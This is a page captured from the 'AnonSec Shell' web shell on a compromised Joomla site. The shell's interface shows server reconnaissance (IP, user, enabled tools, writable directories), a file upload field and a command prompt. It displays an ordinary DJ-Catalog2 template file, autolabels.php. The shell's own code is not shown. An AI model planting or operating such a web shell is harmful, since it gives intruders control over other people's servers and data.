AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/components/com_djcatalog2/layouts/com_djcatalog2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/components/com_djcatalog2/layouts/com_djcatalog2/autolabels.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined ('_JEXEC') or die('Restricted access');
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\Filter\OutputFilter;

$item = $displayData['item'];
$params = $displayData['params'];
$cfg = isset($displayData['config']) ? (array)$displayData['config'] : false;

// context can be used to distinguish the way labels are displayed
$context = $displayData['context'];

$wrapperClass = !empty($displayData['wrapper_class_sfx']) ? 'djc_autolabels djc_autolabels'.$displayData['wrapper_class_sfx'] : 'djc_autolabels';

$nullDate = Factory::getDbo()->getNullDate();
$latestDays = $params->get('autolabel_latest_days', 0);

$autoLabels = array();

if ($cfg === false || in_array('price', $cfg)) {
	$priceLabels = Djcatalog2HelperPrice::getItemPriceRuleLabels($item->id);
	$autoLabels = array_merge($autoLabels, $priceLabels);
}

if ($item->featured && ($cfg === false || in_array('featured', $cfg))) {
	$autoLabels[] = ['label' => 'featured', 'id'=>'featured'];
}
if ($item->created && $item->created != $nullDate && $latestDays > 0 && ($cfg === false || in_array('latest', $cfg))) {
	$minDate = Factory::getDate('-'.$latestDays.' days');
	$itemDate = Factory::getDate($item->created);
	if ($itemDate->toUnix() >= $minDate->toUnix()) {
		$autoLabels[] = ['label'=>'latest','id'=>'latest'];
	}
}

if (count($autoLabels) < 1) return;
$lang = Factory::getApplication()->getLanguage();

?>

<ul class="<?php echo $wrapperClass; ?>">
	<?php foreach($autoLabels as $label) {?>
		<?php $text = ($lang->hasKey('COM_DJCATALOG2_AUTOLABEL_' . $label['label'])) ? Text::_('COM_DJCATALOG2_AUTOLABEL_' . $label['label']) : $label['label'];?>
        <li class="djc_autolabels_label djc_autolabels_label-<?php echo OutputFilter::stringURLSafe($label['id']); ?>"><span><?php echo $text; ?></span></li>
	<?php } ?>
</ul>

Anon7 - 2022
AnonSec Team